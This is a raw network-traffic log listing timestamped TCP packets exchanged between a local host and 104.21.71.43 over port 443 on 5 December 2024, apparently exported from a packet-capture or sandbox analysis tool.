Dec 5, 2024 15:04:43.617297888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.617337942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.619545937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.619615078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.625550985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.625569105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.625629902 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.625638962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.625674009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.631185055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.631203890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.631266117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.631278038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.631315947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.636178970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.636198997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.636255980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.636265039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.636307001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.763246059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.763272047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.763437986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.763456106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.763505936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.768121004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.768137932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.768198967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.768205881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.768243074 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.820153952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.820171118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.820391893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.820401907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.820449114 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.825865984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.825881958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.825947046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.825952053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.825992107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.830965996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.830984116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.831041098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.831048012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.831084967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.837512016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.837527037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.837589025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.837595940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.837635040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.842483997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.842499018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.842562914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.842567921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.842602968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.848284006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.848298073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.848361015 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.848366976 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.848403931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.979585886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.979613066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.979675055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.979697943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.979729891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.979751110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.984721899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.984738111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.984817028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:43.984824896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:43.984865904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.025424004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.025448084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.025496006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.025504112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.025528908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.025547981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.029362917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.029406071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.029424906 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.029431105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.029464006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.035104990 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.035120010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.035172939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.035180092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.040930033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.040944099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.041024923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.041033030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.045986891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.046000004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.046056986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.046063900 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.051779985 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.051795959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.051903963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.051911116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.057297945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.057312965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.057403088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.057410002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.098881006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.175734043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.175750971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.175801992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.175836086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.175889969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.175904036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.175940037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.175954103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.216931105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.216953993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.217180014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.217186928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.217227936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.222800970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.222825050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.222886086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.222892046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.222932100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.228440046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.228462934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.228527069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.228532076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.228568077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.234283924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.234299898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.234363079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.234369040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.234406948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.239284039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.239300013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.239357948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.239366055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.239382982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.239398956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.245084047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.245100021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.245167017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.245177031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.245217085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.250576973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.250591993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.250637054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.250643015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.250664949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.250679970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.382893085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.382915020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.383112907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.383122921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.383172035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.409748077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.409765005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.409917116 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.409924030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.409966946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.415035009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.415049076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.415143013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.415158987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.415211916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.420805931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.420823097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.420906067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.420911074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.420953035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.425909996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.425925016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.426002979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.426012993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.426057100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.431638002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.431655884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.431740046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.431752920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.431792021 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.437145948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.437169075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.437235117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.437249899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.437294960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.442846060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.442873001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.442914963 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.442926884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.442939043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.442955971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.574960947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.574981928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.575045109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.575054884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.575097084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.602061033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.602080107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.602129936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.602135897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.602164984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.602180958 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.607332945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.607350111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.607420921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.607428074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.607465029 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.613173962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.613188982 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.613243103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.613248110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.613285065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.618257999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.618275881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.618324995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.618330002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.618357897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.618376970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.624085903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.624104023 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.624145985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.624150038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.624178886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.624203920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.629420042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.629439116 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.629493952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.629499912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.629539013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.635168076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.635185957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.635251999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.635265112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.635330915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.767483950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.767504930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.767661095 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.767672062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.767716885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.794388056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.794404984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.794506073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.794512987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.794553995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.799576998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.799592018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.799655914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.799663067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.799699068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.805311918 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.805330038 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.805392981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.805398941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.805438995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.810934067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.810950994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.811024904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.811032057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.811074018 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.816063881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.816077948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.816153049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.816163063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.816203117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.822192907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.822210073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.822302103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.822307110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.822349072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.827286959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.827301979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.827382088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.827388048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.827430964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.985166073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.985184908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.985338926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.985349894 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.985394001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.991012096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.991028070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.991092920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.991101027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.991137981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.995989084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.996002913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.996068001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:44.996074915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:44.996117115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.001792908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.001808882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.001873016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.001879930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.001914978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.007519960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.007539988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.007596970 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.007603884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.007642031 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.013505936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.013520956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.013588905 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.013595104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.013641119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.018729925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.018757105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.018812895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.018819094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.018837929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.018860102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.024570942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.024594069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.024647951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.024652958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.024705887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.177450895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.177473068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.177556992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.177571058 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.177612066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.183219910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.183237076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.183303118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.183310032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.183357000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.188975096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.188991070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.189060926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.189065933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.189107895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.194036961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.194051027 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.194118023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.194125891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.194171906 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.199769974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.199786901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.199865103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.199872017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.199918985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:45.205563068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.205575943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:45.205646992 CET	49906	443	192.168.2.6	104.21.71.43
